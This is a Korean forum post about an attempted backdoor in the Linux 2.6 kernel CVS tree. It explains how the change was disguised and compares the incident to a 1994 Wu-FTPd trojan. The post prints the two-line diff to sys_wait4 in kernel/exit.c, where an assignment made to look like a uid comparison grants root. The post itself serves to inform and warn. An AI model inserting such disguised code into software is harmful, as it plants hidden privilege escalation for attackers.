compuz.com

사탄의인형 2003/11/10 17:34:31	4519 0

리눅스커널에 한 해커가... [2]

1703 추가된 2줄의 백도어.. 2003/11/10 1
[Anonymous님 曰] 지난주 수요일 한 해커가 리눅스 커널 차기 버전에 백도어를 몰래 심어놓은 것이 적발되었습니다. 커널 소스 코드에 추가된 2줄의 백도어는 다음과 같습니다:

+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;

언듯 보기에 wait4() 시스템콜 에러를 체크하는 기능처럼 보이지만 current->uid == 0 가 아니고 current->uid = 0 이라는 걸 발견하려면 눈이 좋아야 할 것 같습니다... 처음부터 의심을 품고 검토하지 않은 다음에야 발견하기 힘들었을 거고, 발견했다 하더라도 프로그래밍 에러로 오인해 그냥 넘어갔을 것 같습니다...
밑에다 적었었는데..다시 적습니다 --;;

실제 백도어가 들어간 커널소스코드를 다운받으나용자는 거의 없을것 같네요...

CVS트리에 잠깐 들어갔던것이고 버전도 2.6.xx대 버전인데 현재 Stable은 2.4.xx이고 2.6은 현재까지는 베타버전이라 많이 사용되지 않습니다.

소스를 다운받아서 컴파일해서 올린사용자만 해당이될텐데 거의 없을것으로 보고있습니다.

이런류의 배포서버가 해킹당해 트로쟌이 심겨진 경우는 94년에 Wu-FTPd(ProFTPD와 함께 Linux,BSD계열에서 가장 많이 사용되는 FTP서버입니다.) 바이너리 배포본에 트로쟌이 심겨졌던 경우가 있습니다. http://www.cert.org/advisories/CA-1994-07.html

문제의 코드는 kernel/exit.c파일인데 대충보니 sys_wait4 syscall을 살짝 고쳤으며 프로세스에 sys_wait4를 줄때 특정 옵션넣으면 current->uid를 0으로 만들어주네요(current는 현재프로세스의 상태가 들어있는건데 uid를 0으로하면 root권한으로 프로세스가 바뀝니다.)

--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;